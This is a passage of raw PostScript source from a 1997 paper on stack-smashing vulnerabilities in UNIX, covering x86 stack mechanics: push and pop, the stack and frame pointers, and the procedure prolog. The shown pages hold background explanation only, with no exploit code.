)W ; : 0 0 4883 6391 rc 0 0 0 sco F8_100 Ji 4212 3908 M (POP)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4078 M 0.200 0 (i)A (n)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 15.900 0 32 0.100 0 (s )D 0.200 0 (t)A 16.000 0 32 (o p)W -0.400 0 (e)A -0.300 0 (rf)A (o)S -0.300 0 (r)A 15.800 0 32 0.200 0 (m )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 16.000 0 32 (k op)W -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 0.100 0 (s)A 16.000 0 32 (. )W 0.600 0 (W)A 0.200 0 (it)A 16.000 0 32 (h )W -0.400 0 (eac)A 16.000 0 32 (h )W 0.100 0 (s)A (u)S -0.400 0 (cce)A 0.100 0 (ss)A 0.200 0 (i)A (v)S 16.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco F8_100 Ji 3297 4088 M (PUSH)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3537 4078 M 17.000 0 32 ( op)W -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A 17.000 0 32 (on, )W 0.200 0 (t)A (h)S 17.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A (k)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4258 M -1.000 0 (g)A -0.300 0 (r)A (o)S -0.200 0 (w)A 20.900 0 32 0.100 0 (s )D (do)S -0.200 0 (w)A (n)S -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A 21.000 0 32 (d )W 0.200 0 (i)A 21.000 0 32 (n )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A -3.000 0 (y)A 21.000 0 32 (, po)W 0.200 0 (i)A (n)S 0.200 0 (ti)A (n)S 22.000 0 32 -1.000 0 (g )D 0.200 0 (t)A 21.000 0 32 (o )W 0.200 0 (l)A (o)S -0.200 0 (w)A -0.400 0 (e)A 21.300 0 32 -0.300 0 (r )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 24.000 0 32 -3.000 0 (y )D -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 20.900 0 32 0.100 0 (ss )D -0.400 0 (a)A 20.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 21.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (i)A 0.600 0 (z)A 21.400 0 32 -0.400 0 (e )D (o)S 21.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 22.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A (k)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4435 M -0.150 0 (increases.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4612 M -2.300 0 (I)A 7.000 0 32 (n )W -0.400 0 (a)A (dd)S 0.200 0 (iti)A 7.000 0 32 (on )W 0.200 0 (t)A 7.000 0 32 (o )W 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 7.000 0 32 (k po)W 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 7.000 0 32 (, )W -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A 7.000 0 32 (h po)W 0.200 0 (i)A (n)S 0.200 0 (t)A 6.900 0 32 0.100 0 (s )D 0.200 0 (t)A 8.000 0 32 (o )W 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 8.000 0 32 (op o)W 8.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 8.000 0 32 (k, )W 8.400 0 32 -0.400 0 (a )D -0.300 0 (fr)A -0.400 0 (a)A 0.200 0 (m)A 8.400 0 32 -0.400 0 (e )D (o)S 8.300 0 32 -0.300 0 (r )D 0.200 0 (l)A (o)S -0.400 0 (ca)A 0.200 0 (l)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4789 M (b)S -0.400 0 (a)A 0.100 0 (s)A 8.400 0 32 -0.400 0 (e )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A 8.300 0 32 -0.300 0 (r \()D -0.600 0 (F)A 7.600 0 32 0.400 0 (P )D (o)S 8.300 0 32 -0.300 0 (r )D -2.100 0 (L)A -0.700 0 (B)A 9.300 0 32 -0.300 0 (\) )D 0.200 0 (i)A 8.900 0 32 0.100 0 (s )D -0.400 0 (a)A 0.200 0 (l)A 0.100 0 (s)A 9.000 0 32 (o p)W -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (e)A (n)S 8.800 0 32 0.200 0 (t )D -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A 9.000 0 32 (h po)W 0.200 0 (i)A (n)S 0.200 0 (t)A 8.900 0 32 0.100 0 (s )D 0.200 0 (t)A 9.000 0 32 (o )W 9.400 0 32 -0.400 0 (a )D -0.300 0 (f)A 0.200 0 (i)A 1.000 0 (x)A -0.400 0 (e)A 9.000 0 32 (d )W 0.200 0 (l)A (o)S -0.400 0 (ca)A 0.200 0 (ti)A 9.000 0 32 (on )W -0.200 0 (w)A 0.200 0 (it)A (h)S 0.200 0 (i)A 9.000 0 32 (n )W 9.400 0 32 -0.400 0 (a )D -0.300 0 (fr)A -0.400 0 (a)A 0.200 0 (m)A -0.400 0 (e)A 9.000 0 32 (. )W -2.300 0 (I)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4966 M (p)S -0.300 0 (r)A 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (i)A (p)S 0.200 0 (l)A -0.400 0 (e)A 5.000 0 32 (, )W 0.200 0 (l)A (o)S -0.400 0 (ca)A 4.800 0 32 0.200 0 (l )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 4.900 0 32 0.100 0 (s )D -0.400 0 (a)A 5.000 0 32 (nd p)W -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 5.900 0 32 0.100 0 (s )D -0.400 0 (c)A (ou)S 0.200 0 (l)A 6.000 0 32 (d b)W 6.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A -0.300 0 (f)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (e)A (n)S -0.400 0 (ce)A 6.000 0 32 (d b)W 9.000 0 32 -3.000 0 (y )D -1.000 0 (g)A 0.200 0 (i)A (v)S 0.200 0 (i)A (n)S 7.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.200 0 (i)A 6.300 0 32 -0.300 0 (r )D (o)S -0.300 0 (ff)A 0.100 0 (s)A -0.400 0 (e)A 0.200 0 (t)A 5.900 0 32 0.100 0 (s )D -0.300 0 (fr)A (o)S 5.800 0 32 0.200 0 (m )D 0.400 0 (SP)A (.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5143 M -0.200 0 (H)A (o)S -0.200 0 (w)A -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 2.000 0 32 (, )W -0.400 0 (a)A 1.900 0 32 0.100 0 (s )D -0.200 0 (w)A (o)S -0.300 0 (r)A (d)S 2.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 3.400 0 32 -0.400 0 (e )D (pu)S 0.100 0 (s)A (h)S -0.400 0 (e)A 3.000 0 32 (d on)W 0.200 0 (t)A 3.000 0 32 (o )W 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 3.000 0 32 (k )W -0.400 0 (a)A 3.000 0 32 (nd popp)W -0.400 0 (e)A 3.000 0 32 (d )W -0.300 0 (fr)A (o)S 2.800 0 32 0.200 0 (m t)D (h)S 3.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 3.000 0 32 (k, )W 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 3.400 0 32 -0.400 0 (e )D (o)S -0.300 0 (ff)A 0.100 0 (s)A -0.400 0 (e)A 0.200 0 (t)A 2.900 0 32 0.100 0 (s )D -0.400 0 (c)A (h)S -0.400 0 (a)A (n)S -1.000 0 (g)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5320 M -0.400 0 (a)A 10.000 0 32 (nd )W -0.400 0 (a)A -0.300 0 (r)A 10.400 0 32 -0.400 0 (e )D (h)S -0.400 0 (e)A 0.200 0 (l)A 10.000 0 32 (d )W 0.200 0 (i)A 10.000 0 32 (n )W 10.400 0 32 -0.400 0 (a )D -0.300 0 (r)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 10.300 0 32 -0.300 0 (r )D 0.100 0 (s)A (u)S -0.400 0 (c)A 10.000 0 32 (h )W -0.400 0 (a)A 9.900 0 32 0.100 0 (s )D -0.100 0 (E)A -0.700 0 (B)A 10.600 0 32 0.400 0 (P )D -0.300 0 (\()A (32)S -0.300 0 (-)A (b)S 10.800 0 32 0.200 0 (it )D (b)S -0.400 0 (a)A 0.100 0 (s)A 11.400 0 32 -0.400 0 (e )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r\))A 11.000 0 32 (. )W -0.200 0 (O)A 11.000 0 32 (n )W 0.200 0 (t)A (h)S 11.400 0 32 -0.400 0 (e )D -2.300 0 (I)A (n)S 0.200 0 (t)A -0.400 0 (e)A 10.800 0 32 0.200 0 (l )D 1.000 0 (x)A 11.000 0 32 (86 )W 0.300 0 (C)A 0.400 0 (P)A -0.200 0 (U)A 11.000 0 32 (, )W 0.200 0 (t)A (h)S 0.200 0 (i)A 10.900 0 32 0.100 0 (s )D 0.200 0 (i)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5497 M -0.400 0 (acc)A (o)S 0.200 0 (m)A (p)S 0.200 0 (li)A 0.100 0 (s)A (h)S -0.400 0 (e)A 21.000 0 32 (d )W 0.200 0 (t)A (h)S -0.300 0 (r)A (ou)S -1.000 0 (g)A 21.000 0 32 (h )W 0.200 0 (m)A (u)S 0.200 0 (lti)A (p)S 0.200 0 (l)A 21.400 0 32 -0.400 0 (e a)D 0.100 0 (ss)A -0.400 0 (e)A 0.200 0 (m)A (b)S 0.200 0 (l)A 25.000 0 32 -3.000 0 (y )D 0.200 0 (i)A (n)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 21.900 0 32 0.100 0 (s )D 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S 0.200 0 (i)A (n)S 23.000 0 32 -1.000 0 (g )D -0.600 0 (F)A 21.600 0 32 0.400 0 (P )D -0.400 0 (a)A 22.000 0 32 (nd )W -0.100 0 (E)A -0.700 0 (B)A 0.400 0 (P)A 22.000 0 32 (. )W -0.100 0 (T)A -0.400 0 (a)A (k)S 0.200 0 (i)A (n)S 23.000 0 32 -1.000 0 (g )D 0.200 0 (i)A (n)S 0.200 0 (t)A (o)S ; LH savelevel1 restore pagesave restore (%%[ Page: 13 ]%%) = %%PageTrailer %%Page: 14 14 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (14)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 612 504 M -0.400 0 (c)A (on)S 0.100 0 (s)A 0.200 0 (i)A (d)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A 23.000 0 32 (on ou)W 23.300 0 32 -0.300 0 (r )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 23.000 0 32 (k )W -1.000 0 (g)A -0.300 0 (r)A (o)S -0.200 0 (w)A 0.200 0 (t)A 23.000 0 32 (h, p)W -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 23.900 0 32 0.100 0 (s )D -0.200 0 (w)A 23.800 0 32 0.200 0 (ill )D (h)S -0.400 0 (a)A (v)S 24.400 0 32 -0.400 0 (e )D (po)S 0.100 0 (s)A 0.200 0 (iti)A (v)S 24.400 0 32 -0.400 0 (e )D (o)S -0.300 0 (ff)A 0.100 0 (s)A -0.400 0 (e)A 0.200 0 (t)A 23.900 0 32 0.100 0 (s )D -0.400 0 (a)A 24.000 0 32 (nd )W 0.200 0 (l)A (o)S -0.400 0 (ca)A 23.800 0 32 0.200 0 (l )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M -0.120 0 (negative offsets from FP.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 858 M 0.600 0 (W)A (h)S -0.400 0 (e)A 6.000 0 32 (n )W 0.200 0 (i)A (nvok)S 0.200 0 (i)A (n)S 7.000 0 32 -1.000 0 (g )D (o)S 6.300 0 32 -0.300 0 (r )D -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (iti)A (n)S 7.000 0 32 -1.000 0 (g )D 6.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A 7.000 0 32 (d )W 6.700 0 32 0.300 0 (C )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 7.000 0 32 (on, )W 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -0.400 0 (ce)A (du)S -0.300 0 (r)A 7.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S 0.200 0 (l)A (o)S 8.000 0 32 -1.000 0 (g )D (o)S 7.300 0 32 -0.300 0 (r )D -0.400 0 (e)A (p)S 0.200 0 (il)A (o)S 8.000 0 32 -1.000 0 (g )D 0.200 0 (m)A (u)S 0.100 0 (s)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1035 M (b)S 28.400 0 32 -0.400 0 (e ca)D 0.200 0 (ll)A -0.400 0 (e)A 28.000 0 32 (d, )W 0.200 0 (t)A (h)S 0.200 0 (i)A 27.900 0 32 0.100 0 (s )D 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A 27.900 0 32 0.100 0 (s s)D -0.400 0 (a)A (v)S 0.200 0 (i)A (n)S 29.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 28.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A -0.400 0 (e)A (v)S 0.200 0 (i)A (ou)S 27.900 0 32 0.100 0 (s )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 27.900 0 32 0.100 0 (s )D -0.400 0 (a)A 28.000 0 32 (nd )W -0.400 0 (a)A 0.200 0 (ll)A (o)S -0.400 0 (ca)A 0.200 0 (ti)A (n)S 29.000 0 32 -1.000 0 (g )D 0.100 0 (s)A (p)S 28.400 0 32 -0.400 0 (ace )D -0.300 0 (f)A (o)S 29.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S 29.400 0 32 -0.400 0 (e )D (n)S -0.400 0 (e)A -0.200 0 (w)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1212 M (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 0.100 0 (s)A 10.800 0 32 0.200 0 (; )D -0.400 0 (a)A 11.000 0 32 (nd v)W 0.200 0 (i)A -0.400 0 (ce)A -0.300 0 (-)A (v)S -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 11.400 0 32 -0.400 0 (a )D -0.200 0 (w)A (h)S -0.400 0 (e)A 11.000 0 32 (n )W 0.200 0 (t)A (h)S 11.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 11.000 0 32 (on )W -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (it)A 0.100 0 (s)A 11.000 0 32 (. )W -0.100 0 (T)A (h)S 11.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A -0.400 0 (e)A (v)S 0.200 0 (i)A (ou)S 10.900 0 32 0.100 0 (s )D -0.600 0 (F)A 10.600 0 32 0.400 0 (P )D 0.200 0 (i)A 10.900 0 32 0.100 0 (s )D (pu)S 0.100 0 (s)A (h)S -0.400 0 (e)A 12.000 0 32 (d, )W 12.400 0 32 -0.400 0 (a )D (n)S -0.400 0 (e)A 12.200 0 32 -0.200 0 (w )D -0.600 0 (F)A 11.600 0 32 0.400 0 (P )D 0.200 0 (i)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1389 M -0.075 0 (created and SP operates with respect to its new local variables.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 1566 M 6.000 0 32 ( )W -0.200 0 (U)A 0.100 0 (s)A 0.200 0 (i)A (n)S 7.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D (b)S -0.400 0 (e)A 0.200 0 (l)A (o)S 6.200 0 32 -0.200 0 (w )D -0.400 0 (c)A (od)S 6.400 0 32 -0.400 0 (e a)D 6.900 0 32 0.100 0 (s )D -0.400 0 (a)A 7.000 0 32 (n )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 7.000 0 32 (, on)W 7.400 0 32 -0.400 0 (e ca)D 7.000 0 32 (n )W -1.000 0 (g)A -0.400 0 (a)A 0.200 0 (i)A 7.000 0 32 (n )W 7.400 0 32 -0.400 0 (a )D (b)S -0.400 0 (e)A 0.200 0 (tt)A -0.400 0 (e)A 7.300 0 32 -0.300 0 (r )D (und)S -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (nd)S 0.200 0 (i)A (n)S 8.000 0 32 -1.000 0 (g )D (o)S 7.300 0 32 -0.300 0 (f )D 0.200 0 (t)A -3.000 0 (y)A (p)S 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (l)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1743 M -0.093 0 (stack behavior.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2160 2658 M 0.035 0 (Stack Example 7.1.a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 2854 M -0.100 0 (T)A (h)S 4.400 0 32 -0.400 0 (e )D 1.000 0 (x)A 5.000 0 32 (86 )W -0.400 0 (a)A 0.100 0 (ss)A -0.400 0 (e)A 0.200 0 (m)A (b)S 0.200 0 (l)A 8.000 0 32 -3.000 0 (y )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 5.400 0 32 -0.400 0 (e e)D (qu)S 0.200 0 (i)A (v)S -0.400 0 (a)A 0.200 0 (l)A -0.400 0 (e)A (n)S 4.800 0 32 0.200 0 (t )D (o)S 5.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 5.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Courier (F5) cvn 0.800 (Courier) cvn /Type1 T (Courier) cvn mF (F5_100) cvn F5 100 xF F5_100 Ji 2775 2864 M (function\(\))S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3375 2854 M 5.000 0 32 ( )W -0.400 0 (ca)A 4.800 0 32 0.200 0 (ll i)D 5.000 0 32 (n )W 0.200 0 (t)A (h)S 5.400 0 32 -0.400 0 (e a)D (bov)S 5.400 0 32 -0.400 0 (e c)D (od)S 5.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3034 M -0.029 0 (translated to:)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1672 3594 M -0.066 0 (Example 7.1.b - pushing arguments onto the stack)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3799 M -0.100 0 (T)A (h)S 0.200 0 (i)A 8.900 0 32 0.100 0 (s )D (pu)S 0.100 0 (s)A (h)S -0.400 0 (e)A 8.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 9.400 0 32 -0.400 0 (e )D 9.000 0 32 (3 )W -0.400 0 (a)A -0.300 0 (r)A -1.000 0 (g)A (u)S 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A 8.900 0 32 0.100 0 (s )D 0.200 0 (t)A 9.000 0 32 (o )W -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 9.000 0 32 (on b)W -0.400 0 (ac)A (k)S -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A (d)S 8.900 0 32 0.100 0 (s )D 0.200 0 (i)A (n)S 0.200 0 (t)A 9.000 0 32 (o )W 0.200 0 (t)A (h)S 10.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 10.000 0 32 (k, )W -0.400 0 (a)A 10.000 0 32 (nd )W -0.400 0 (ca)A 0.200 0 (ll)A 9.900 0 32 0.100 0 (s )D ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 3767 3809 M (function\(\))S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 4367 3799 M (.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3979 M -0.100 0 (T)A (h)S 13.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (n)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (ti)A 13.000 0 32 (on )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 1271 3989 M (call)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1511 3979 M 13.000 0 32 ( )W -0.200 0 (w)A 12.800 0 32 0.200 0 (ill )D (pu)S 0.100 0 (s)A 13.000 0 32 (h )W 0.200 0 (t)A (h)S 13.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (n)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (ti)A 13.000 0 32 (on po)W 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A 13.300 0 32 -0.300 0 (r \()D -2.300 0 (I)A 0.400 0 (P)A 13.300 0 32 -0.300 0 (\) )D (on)S 0.200 0 (t)A 13.000 0 32 (o )W 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 14.000 0 32 (k. )W -0.100 0 (T)A (h)S 14.400 0 32 -0.400 0 (e )D -0.300 0 (f)A 0.200 0 (i)A -0.300 0 (r)A 0.100 0 (s)A 13.800 0 32 0.200 0 (t t)D (h)S 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4159 M -0.025 0 (done in )A ; : 0 0 4883 6391 rc 0 0 0 sco (F5_83) cvn F5 83 xF F5_83 Ji 934 4184 M 0.200 0 (function)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1334 4159 M -0.104 0 ( is the procedure prolog:)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1755 4724 M 0.091 0 (Example 7.1.c - Linux x86 Procedure Prolog)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4893 M -0.600 0 (F)A 0.200 0 (i)A -0.300 0 (r)A 0.100 0 (s)A 0.200 0 (t)A 11.000 0 32 (, )W 0.200 0 (t)A (h)S 11.400 0 32 -0.400 0 (e )D -0.300 0 (fr)A -0.400 0 (a)A 0.200 0 (m)A 11.400 0 32 -0.400 0 (e )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 11.000 0 32 (, )W -0.100 0 (E)A -0.700 0 (B)A 0.400 0 (P)A 11.000 0 32 (, )W 0.200 0 (i)A 10.900 0 32 0.100 0 (s )D (pu)S 0.100 0 (s)A (h)S -0.400 0 (e)A 11.000 0 32 (d on)W 0.200 0 (t)A 11.000 0 32 (o )W 0.200 0 (t)A (h)S 11.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 11.000 0 32 (k. )W -0.100 0 (T)A (h)S 11.400 0 32 -0.400 0 (e c)D (u)S -0.300 0 (rr)A -0.400 0 (e)A (n)S 10.800 0 32 0.200 0 (t )D 10.600 0 32 0.400 0 (SP )D 0.200 0 (i)A 10.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (e)A 11.000 0 32 (n )W -0.400 0 (c)A (op)S 0.200 0 (i)A -0.400 0 (e)A 11.000 0 32 (d )W 0.200 0 (i)A (n)S 0.200 0 (t)A (o)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5070 M -0.100 0 (E)A -0.700 0 (B)A 0.400 0 (P)A (, )S 0.200 0 (m)A -0.400 0 (a)A (k)S 0.200 0 (i)A (n)S 1.000 0 32 -1.000 0 (g )D -0.200 0 32 0.200 0 (it t)D (h)S 0.400 0 32 -0.400 0 (e )D (n)S -0.400 0 (e)A 0.200 0 32 -0.200 0 (w )D -0.600 0 (F)A -0.400 0 32 0.400 0 (P )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A (. )S -0.600 0 (F)A 0.200 0 (i)A (n)S -0.400 0 (a)A 0.200 0 (ll)A -3.000 0 (y)A (, )S 0.200 0 (t)A (h)S 0.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S 0.200 0 (l)A (o)S 1.000 0 32 -1.000 0 (g )D (p)S -0.300 0 (r)A (o)S -0.400 0 (cee)A (d)S -0.100 0 32 0.100 0 (s )D 0.200 0 (t)A (o )S -0.400 0 (a)A 0.200 0 (ll)A (o)S -0.400 0 (ca)A 0.200 0 (t)A 0.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (p)S 1.400 0 32 -0.400 0 (ace )D -0.300 0 (f)A (o)S 1.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S 1.400 0 32 -0.400 0 (e )D 0.200 0 (l)A (o)S -0.400 0 (ca)A 0.200 0 (l)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5247 M (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A -0.100 0 32 0.100 0 (s )D (b)S 3.000 0 32 -3.000 0 (y )D 0.100 0 (s)A (ub)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (ac)A 0.200 0 (ti)A (n)S 1.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.200 0 (i)A 0.300 0 32 -0.300 0 (r )D 0.100 0 (s)A 0.200 0 (i)A 0.600 0 (z)A 0.400 0 32 -0.400 0 (e )D -0.300 0 (fr)A (o)S 0.800 0 32 0.200 0 (m )D 0.400 0 (SP)A 1.000 0 32 (, )W -0.300 0 (\()A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F8) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F8_100) cvn F8 100 xF F8_100 Ji 2392 5247 M 0.100 0 (s)A 1.400 0 32 -0.400 0 (ee )D 